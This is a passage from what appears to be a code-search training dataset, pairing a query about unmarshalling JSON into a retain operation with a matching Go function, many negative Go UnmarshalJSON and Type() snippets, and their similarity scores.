\\\"mutation\\\"\\n\\tcase Subscription:\\n\\t\\treturn \\\"subscription\\\"\\n\\tdefault:\\n\\t\\treturn fmt.Sprintf(\\\"OperationType(%d)\\\", int(typ))\\n\\t}\\n}\",\n \"func (m *HexMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\\n\\tltype, err := b.Left.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\trtype, err := b.Right.Type(env)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\ttyp := mergeNumericalTypes(ltype, rtype)\\n\\treturn b.Op.Type(typ), nil\\n}\",\n \"func (m *ZoneproductMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *StockMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (o *Function) Type() *Type {\\n\\treturn FunctionType\\n}\",\n \"func (m *ManagerMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (l *LessThanOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func GetOperatorType() OperatorType {\\n\\tswitch {\\n\\tcase IsOperatorGo():\\n\\t\\treturn OperatorTypeGo\\n\\tcase IsOperatorAnsible():\\n\\t\\treturn OperatorTypeAnsible\\n\\tcase IsOperatorHelm():\\n\\t\\treturn OperatorTypeHelm\\n\\t}\\n\\treturn OperatorTypeUnknown\\n}\",\n \"func (e REnv) Type() Type { return e.Value().Type() }\",\n \"func (m *CompetenceMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (op *GenericOperation) Kind() uint8 {\\n\\t// Must be at least long enough to get the kind byte\\n\\tif len(op.hex) <= 33 {\\n\\t\\treturn opKindUnknown\\n\\t}\\n\\n\\treturn op.hex[33]\\n}\",\n \"func (c *Call) Type() Type {\\n\\treturn c.ExprType\\n}\",\n \"func (n *NullSafeEqualOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\\n return m.operationType\\n}\",\n \"func (m *PromotiontypeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (m *BinaryOperatorSub) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\\n\\treturn querypb.Type_INT32, nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.73397994","0.7331954","0.72103316","0.70835686","0.7061754","0.6980852","0.69322","0.68823165","0.6846249","0.684079","0.68392855","0.6821877","0.67526066","0.6746585","0.674267","0.6730284","0.67165416","0.6710324","0.66475177","0.66334957","0.6620575","0.6574164","0.6569285","0.6566755","0.6549322","0.6531823","0.65267223","0.6524067","0.6494353","0.6476448","0.6455802","0.64514893","0.64397943","0.64392865","0.64281154","0.6419435","0.6413713","0.63886774","0.63807184","0.6375125","0.6373742","0.63721126","0.63579583","0.63417757","0.6332697","0.6328391","0.6324545","0.631497","0.62952644","0.62910163","0.62861925","0.62844765","0.6274955","0.62650305","0.62640405","0.62523085","0.6252087","0.6239459","0.62389636","0.6229541","0.62033015","0.6200374","0.61991316","0.6193402","0.61895406","0.61791986","0.6175558","0.6175285","0.61724573","0.61557966","0.61456096","0.6141278","0.6140642","0.61386997","0.61329275","0.61257845","0.6124157","0.6117993","0.61164016","0.6114104","0.611341","0.6112936","0.6107847","0.6092411","0.6090323","0.6079666","0.6078997","0.607785","0.6074464","0.60626715","0.6057602","0.60575134","0.6047113","0.60389787","0.603745","0.60356474","0.60354406","0.6028229","0.60229194","0.6016492"],"string":"[\n \"0.73397994\",\n \"0.7331954\",\n \"0.72103316\",\n \"0.70835686\",\n \"0.7061754\",\n \"0.6980852\",\n \"0.69322\",\n \"0.68823165\",\n \"0.6846249\",\n \"0.684079\",\n \"0.68392855\",\n \"0.6821877\",\n \"0.67526066\",\n \"0.6746585\",\n \"0.674267\",\n \"0.6730284\",\n \"0.67165416\",\n \"0.6710324\",\n \"0.66475177\",\n \"0.66334957\",\n \"0.6620575\",\n \"0.6574164\",\n \"0.6569285\",\n \"0.6566755\",\n \"0.6549322\",\n \"0.6531823\",\n \"0.65267223\",\n \"0.6524067\",\n \"0.6494353\",\n \"0.6476448\",\n \"0.6455802\",\n \"0.64514893\",\n \"0.64397943\",\n \"0.64392865\",\n \"0.64281154\",\n \"0.6419435\",\n \"0.6413713\",\n \"0.63886774\",\n \"0.63807184\",\n \"0.6375125\",\n \"0.6373742\",\n \"0.63721126\",\n \"0.63579583\",\n \"0.63417757\",\n \"0.6332697\",\n \"0.6328391\",\n \"0.6324545\",\n \"0.631497\",\n \"0.62952644\",\n \"0.62910163\",\n \"0.62861925\",\n \"0.62844765\",\n \"0.6274955\",\n \"0.62650305\",\n \"0.62640405\",\n \"0.62523085\",\n \"0.6252087\",\n \"0.6239459\",\n \"0.62389636\",\n \"0.6229541\",\n \"0.62033015\",\n \"0.6200374\",\n \"0.61991316\",\n \"0.6193402\",\n \"0.61895406\",\n \"0.61791986\",\n \"0.6175558\",\n \"0.6175285\",\n \"0.61724573\",\n \"0.61557966\",\n \"0.61456096\",\n \"0.6141278\",\n \"0.6140642\",\n \"0.61386997\",\n \"0.61329275\",\n \"0.61257845\",\n \"0.6124157\",\n \"0.6117993\",\n \"0.61164016\",\n \"0.6114104\",\n \"0.611341\",\n \"0.6112936\",\n \"0.6107847\",\n \"0.6092411\",\n \"0.6090323\",\n \"0.6079666\",\n \"0.6078997\",\n \"0.607785\",\n \"0.6074464\",\n \"0.60626715\",\n \"0.6057602\",\n \"0.60575134\",\n \"0.6047113\",\n \"0.60389787\",\n \"0.603745\",\n \"0.60356474\",\n \"0.60354406\",\n \"0.6028229\",\n \"0.60229194\",\n \"0.6016492\"\n]"},"document_score":{"kind":"string","value":"0.61413467"},"document_rank":{"kind":"string","value":"71"}}},{"rowIdx":106178,"cells":{"query":{"kind":"string","value":"UnmarshalJSON will unmarshal JSON into a retain operation"},"document":{"kind":"string","value":"func (op *OpRetain) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Fields)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (j *jsonNative) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func unmarshalJSON(j extv1.JSON, output *any) error {\n\tif len(j.Raw) == 0 {\n\t\treturn nil\n\t}\n\treturn json.Unmarshal(j.Raw, output)\n}","func (j *Json) UnmarshalJSON(data []byte) error {\n\terr := json.Unmarshal(data, &j.data)\n\n\tj.exists = (err == nil)\n\treturn err\n}","func (j *Balance) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *UnloadCheckResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark(&r, v)\n\treturn r.Error()\n}","func (v *EventBackForwardCacheNotUsed) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage87(&r, v)\n\treturn r.Error()\n}","func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *OneLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneLike(&r, v)\n\treturn r.Error()\n}","func (j *Data) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (m *Lock) UnmarshalJSON(raw []byte) error {\n\n\tvar aO0 Reference\n\tif err := swag.ReadJSON(raw, &aO0); err != nil {\n\t\treturn err\n\t}\n\tm.Reference = aO0\n\n\tvar data struct {\n\t\tCreatedAt strfmt.DateTime `json:\"created_at,omitempty\"`\n\n\t\tCreatedBy *UserReference `json:\"created_by,omitempty\"`\n\n\t\tExpiredAt strfmt.DateTime `json:\"expired_at,omitempty\"`\n\n\t\tIsDownloadPrevented bool `json:\"is_download_prevented,omitempty\"`\n\t}\n\tif err := swag.ReadJSON(raw, &data); err != nil {\n\t\treturn err\n\t}\n\n\tm.CreatedAt = data.CreatedAt\n\n\tm.CreatedBy = data.CreatedBy\n\n\tm.ExpiredAt = data.ExpiredAt\n\n\tm.IsDownloadPrevented = data.IsDownloadPrevented\n\n\treturn nil\n}","func (j *Producer) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *Visit) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel1(&r, v)\n\treturn r.Error()\n}","func (j *Json) UnmarshalJSON(b []byte) error {\n\tr, err := loadContentWithOptions(b, Options{\n\t\tType: ContentTypeJson,\n\t\tStrNumber: true,\n\t})\n\tif r != nil {\n\t\t// Value copy.\n\t\t*j = *r\n\t}\n\treturn err\n}","func (v *Stash) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeDrhyuComIndexerModels(&r, v)\n\treturn r.Error()\n}","func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (t *BlockTest) UnmarshalJSON(in []byte) error {\n\treturn json.Unmarshal(in, &t.Json)\n}","func (j *ThirdParty) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *Event) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func UnmarshalFromJSON(data []byte, target interface{}) error {\n\tvar ctx map[string]interface{}\n\terr := json.Unmarshal(data, &ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn Unmarshal(ctx, target)\n}","func (j *JsonReleaseDate) UnmarshalJSON(b []byte) error {\n\ts := strings.Trim(string(b), \"\\\"\")\n\tt, err := time.Parse(\"2006-01-02\", s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*j = JsonReleaseDate(t)\n\treturn nil\n}","func UnmarshalJSON(data []byte, v interface{}) {\n\terr := json.Unmarshal(data, v)\n\tAbortIf(err)\n}","func (j *PurgeQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *OneUpdateLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneUpdateLike(&r, v)\n\treturn r.Error()\n}","func (j *Segment) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *ModifyAckDeadlineResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (t *Transfer) UnmarshalJSON(data []byte) error {\n\tif id, ok := ParseID(data); ok {\n\t\tt.ID = id\n\t\treturn nil\n\t}\n\n\ttype transfer Transfer\n\tvar v transfer\n\tif err := json.Unmarshal(data, &v); err != nil {\n\t\treturn err\n\t}\n\n\t*t = Transfer(v)\n\treturn nil\n}","func (v *ShadowStateMetadataSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon3(&r, v)\n\treturn r.Error()\n}","func (w *Entry) UnmarshalJSON(bb []byte) error {\n\t<>\n}","func (j *ModifyAckDeadlineRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *ModifyQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *Publisher) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *ShadowStateSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon2(&r, v)\n\treturn r.Error()\n}","func (j *AckMessagesResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *ShadowModelSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon5(&r, v)\n\treturn r.Error()\n}","func (volume *Volume) UnmarshalJSON(b []byte) error {\n\ttype temp Volume\n\ttype links struct {\n\t\tDriveCount int `json:\"Drives@odata.count\"`\n\t\tDrives common.Links\n\t}\n\tvar t struct {\n\t\ttemp\n\t\tLinks links\n\t}\n\n\terr := json.Unmarshal(b, &t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*volume = Volume(t.temp)\n\n\t// Extract the links to other entities for later\n\tvolume.DrivesCount = t.DrivesCount\n\tvolume.drives = t.Links.Drives.ToStrings()\n\n\treturn nil\n}","func (this *Replicas) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}","func (j *MessageReceipt) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (a *ActivityBugCloned) UnmarshalJSON(b []byte) error {\n\tvar helper activityBugClonedUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\t*a = ActivityBugCloned(helper.Attributes)\n\treturn nil\n}","func (v *ShadowUpdateMsgSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon1(&r, v)\n\treturn r.Error()\n}","func (a *ReloadArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy ReloadArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = ReloadArgs(*c)\n\treturn nil\n}","func (jf *JsonnetFile) UnmarshalJSON(data []byte) error {\n\tvar s jsonFile\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn err\n\t}\n\n\tjf.Dependencies = make(map[string]Dependency)\n\tfor _, d := range s.Dependencies {\n\t\tjf.Dependencies[d.Name] = d\n\t}\n\treturn nil\n}","func (j *qProxyClient) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (a *RemoveScriptToEvaluateOnLoadReply) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnLoadReply\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnLoadReply(*c)\n\treturn nil\n}","func (t *Transaction) UnmarshalJSON(data []byte) error {\n\tproxy := new(proxyTransaction)\n\tif err := json.Unmarshal(data, proxy); err != nil {\n\t\treturn err\n\t}\n\n\t*t = *(*Transaction)(unsafe.Pointer(proxy))\n\n\treturn nil\n}","func (v *Raw) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer10(&r, v)\n\treturn r.Error()\n}","func (v *PlantainerShadowSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson5bd79fa1DecodeMevericcoreMcplantainer8(&r, v)\n\treturn r.Error()\n}","func (v *VisitArray) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel(&r, v)\n\treturn r.Error()\n}","func (j *DeleteQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *JSONDate) UnmarshalJSON(b []byte) error {\n\ts := strings.Trim(string(b), \"\\\"\")\n\tif s == \"null\" {\n\t\treturn nil\n\t}\n\tt, err := time.Parse(\"2006-01-02\", s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*j = JSONDate(t)\n\treturn nil\n}","func (v *PlantainerShadowStateSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson5bd79fa1DecodeMevericcoreMcplantainer3(&r, v)\n\treturn r.Error()\n}","func (v *TransactionsSinceIDRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonE82c8e88DecodeGithubComKamaiuOandaGoModel(&r, v)\n\treturn r.Error()\n}","func (v *ShadowStateDeltaSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon4(&r, v)\n\treturn r.Error()\n}","func (a *ActivityBugTriaged) UnmarshalJSON(b []byte) error {\n\tvar helper activityBugTriagedUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\t*a = ActivityBugTriaged(helper.Attributes)\n\treturn nil\n}","func (j *Regulations) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (tok *Token) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\t*tok = Lookup(s)\n\treturn nil\n}","func (ts *TransferStatus) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\treturn ts.Parse(s)\n}","func (v *BackForwardCacheNotRestoredExplanationTree) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage101(&r, v)\n\treturn r.Error()\n}","func (v *Away) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer33(&r, v)\n\treturn r.Error()\n}","func (j *Server) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *PurgeQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *ExportItem) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB83d7b77DecodeGoplaygroundMyjson1(&r, v)\n\treturn r.Error()\n}","func (a *RemoveScriptToEvaluateOnLoadArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnLoadArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnLoadArgs(*c)\n\treturn nil\n}","func (t *JSONDate) UnmarshalJSON(b []byte) error {\n\ts := string(b)\n\ts = Stripchars(s, \"\\\"\")\n\t// x, err := time.Parse(\"2006-01-02\", s)\n\tx, err := StringToDate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif x.Before(earliestDate) {\n\t\tx = earliestDate\n\t}\n\t*t = JSONDate(x)\n\treturn nil\n}","func (o *ExportDataPartial) UnmarshalJSON(data []byte) error {\n\tkv := make(map[string]interface{})\n\tif err := json.Unmarshal(data, &kv); err != nil {\n\t\treturn err\n\t}\n\to.FromMap(kv)\n\treturn nil\n}","func (v *ShadowUpdateMsgStateSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon(&r, v)\n\treturn r.Error()\n}","func (a *CloseArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy CloseArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = CloseArgs(*c)\n\treturn nil\n}","func (b *Bucket) UnmarshalJSON(data []byte) error {\n\n\t// unmarshal as generic json\n\tvar jsonData map[string]interface{}\n\tif err := json.Unmarshal(data, &jsonData); err != nil {\n\t\treturn err\n\t}\n\n\t// unmarshal as BucketStatus if nodes key exists\n\tif _, ok := jsonData[\"nodes\"]; ok {\n\t\treturn b.unmarshalFromStatus(data)\n\t} else {\n\n\t\t// unmarshal as standard bucket type\n\t\ttype BucketAlias Bucket\n\t\tbucket := BucketAlias{}\n\t\tif err := json.Unmarshal(data, &bucket); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t*b = Bucket(bucket)\n\t\treturn nil\n\t}\n\n}","func (v *BlitzedItemResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark4(&r, v)\n\treturn r.Error()\n}","func (c *Cycle) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\n\ttmp, _ := ParseCycle(s)\n\n\t*c = tmp\n\n\treturn nil\n}","func (v *EventDownloadWillBegin) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser21(&r, v)\n\treturn r.Error()\n}","func (s *Client) UnmarshalJSON(data []byte) error {\n\tstr := struct {\n\t\tDuration int64 `json:\"duration,omitempty\"` // Measures the duration of the inbound HTTP request in ms\n\t}{}\n\n\tif err := json.Unmarshal(data, &str); err != nil {\n\t\treturn err\n\t}\n\ts.Duration = time.Millisecond * time.Duration(str.Duration)\n\treturn nil\n}","func (j *Message) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *BackForwardCacheNotRestoredExplanation) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage102(&r, v)\n\treturn r.Error()\n}","func (j *AckMessagesRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *RunPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *ForceSettlementOrder) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *UnInstallPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (task *Task) UnmarshalJSON(b []byte) error {\n\ttype temp Task\n\tvar t struct {\n\t\ttemp\n\t}\n\n\terr := json.Unmarshal(b, &t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Extract the links to other entities for later\n\t*task = Task(t.temp)\n\n\treturn nil\n}","func (v *PlantainerShadowMetadataSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson5bd79fa1DecodeMevericcoreMcplantainer9(&r, v)\n\treturn r.Error()\n}","func (j *FF_BidRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *RunRespPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *QueueId) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *JSON) Unmarshal(input, target interface{}) error {\n\t// take the input and convert it to target\n\treturn jsonEncoding.Unmarshal(input.([]byte), target)\n}","func (a *CloseReply) UnmarshalJSON(b []byte) error {\n\ttype Copy CloseReply\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = CloseReply(*c)\n\treturn nil\n}","func (j *CreateQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *DocumentResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark3(&r, v)\n\treturn r.Error()\n}","func (i *Transform) UnmarshalJSON(data []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn fmt.Errorf(\"Transform should be a string, got %[1]s\", data)\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}","func (j *Type) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (tt *OpenDate) UnmarshalJSON(data []byte) error {\n\tt, err := time.Parse(\"\\\"2006-01-02T15:04:05.9Z\\\"\", string(data))\n\t*tt = OpenDate{&t}\n\treturn err\n}","func (t *Tag) UnmarshalJSON(dat []byte) error {\n\t// get string\n\tvar str string\n\terr := json.Unmarshal(dat, &str)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// parse tag\n\t*t = ParseTag(str)\n\n\treturn nil\n}","func (n *NullStrState) UnmarshalJSON(b []byte) error {\n\tn.Set = true\n\tvar x interface{}\n\terr := json.Unmarshal(b, &x)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = n.Scan(x)\n\treturn err\n}","func (j *InstallCancelPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (this *Service) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}","func (a *ApplicationGatewayLoadDistributionTarget) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"etag\":\n\t\t\terr = unpopulate(val, \"Etag\", &a.Etag)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &a.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &a.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &a.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &a.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (b *T) UnmarshalJSON(p []byte) error {\n\tb.BloomFilter = new(bloom.BloomFilter)\n\treturn json.Unmarshal(p, b.BloomFilter)\n}","func (j *Response) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *FailedPublish) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *TaskDetail) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeCommonSystoolbox4(&r, v)\n\treturn r.Error()\n}","func (m *Raw) UnmarshalJSON(data []byte) error {\n\t*m = data\n\treturn nil\n}"],"string":"[\n \"func (j *jsonNative) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func unmarshalJSON(j extv1.JSON, output *any) error {\\n\\tif len(j.Raw) == 0 